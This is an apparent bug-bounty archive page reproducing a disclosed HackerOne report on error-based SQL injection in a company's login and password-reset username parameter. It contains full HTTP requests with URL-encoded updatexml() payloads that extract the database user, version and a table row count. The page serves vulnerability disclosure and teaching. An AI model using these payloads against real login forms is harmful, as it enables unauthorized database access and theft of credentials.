Skip to content
SQL injection Disclosed report Intermediate

Error-Based SQL Injection in ████████.com Login/Password Reset (username parameter)

The username parameter on the login and password reset endpoints was concatenated into a SQL query without proper parameterisation, so injected MySQL expressions were evaluated. An attacker could use error messages to extract database information such as the current user, version and row counts.

firecompass-ai Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 4 days
  • Fixed in 11 days
  • Disclosed after 15 days

Note - We acknowledge that ████████.com may not be explicitly listed within the defined scope of your HackerOne program. However, I am submitting this in good faith given the critical severity of the finding. We want to clarify that:

  • No user data was extracted beyond confirming table existence and row count
  • No destructive actions were taken
  • The finding was reported promptly without any public disclosure

We understand if this cannot be accepted as in-scope. However, we kindly request that this report be marked as Informative rather than N/A or Spam, as the vulnerability is technically valid and was reported with genuine intent to help protect Essity's users and infrastructure, which we believe is fair given the good-faith nature of this disclosure.

We're happy to provide any additional details.

Summary:

An error-based SQL injection vulnerability was identified in the ████████.com authentication workflows. The username parameter is concatenated into a SQL query without adequate parameterization, enabling an attacker to inject MySQL expressions.

The issue is reproducible on both:

POST https://████████.com/login POST https://████████.com/doResetPassword By injecting MySQL’s updatexml() function, the application returns database error messages that include attacker-controlled output, which enables reliable in-band extraction of database information. The response also discloses the full SQL query being executed, including the schema and table name (████████)

Steps To Reproduce:

Endpoint - https://████████.com/login Extracting username

POST /login HTTP/1.1
Host: ████████.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

username=%27%20AND%20updatexml%281%2Cconcat%280x7e%2Cuser%28%29%2C0x7e%29%2C1%29%20AND%20%271%27%3D%271&password=x

████████

Extracting table count

POST /login HTTP/1.1
Host: ████████.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 185

username=%27%20AND%20updatexml%281%2Cconcat%280x7e%2C%28select%20cast%28count%28%2A%29%20as%20char%29%20from%20████████%29%2C0x7e%29%2C1%29%20AND%20%271%27%3D%271&password=x

████████

Endpoint - https://████████.com/doResetPassword

POST /doResetPassword HTTP/1.1
Host: ████████.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 121

username=%27%20AND%20updatexml%281%2Cconcat%280x7e%2Cversion%28%29%2C0x7e%29%2C1%29%20AND%20%271%27%3D%271&password=x

████████

We've not move forwards towards enumerations of other tables, users and exfiltration of any data, given the endpoint is out of scope.

Best Regards, Firecompass

Impact

An unauthenticated attacker can exploit this SQL injection to: -Extract sensitive data from the database, including data in ████████ (e.g., usernames and passwords/credential material depending on storage format).

  • Enumerate database schema and configuration (DBMS version, hostnames, filesystem paths).

The original report as published on HackerOne, by firecompass-ai. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the username value was built into the SQL statement by string concatenation instead of using parameterised queries, and database errors were shown to the user.

Impact

An unauthenticated attacker could extract sensitive data such as usernames and credential material, and enumerate schema and configuration details; the reporter stopped before further enumeration because the endpoint was out of scope.

What the attacker needed

No account needed; endpoint reachable over the internet

How it was found

  1. Send a login request with a crafted username value that triggers a database error.
  2. Observe the database error message containing the injected output.
  3. Repeat the same technique against the password reset endpoint.
  4. Use the error output to read the database user, version and a table row count.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A login form normally treats what you type as plain text. Here the site pasted that text straight into a database command, so special characters could change the command itself. By making the database produce an error that echoes back data, the reporter could read small pieces of information from the database.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by firecompass-ai

View all

1 more disclosed report, best first.

More from Essity

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.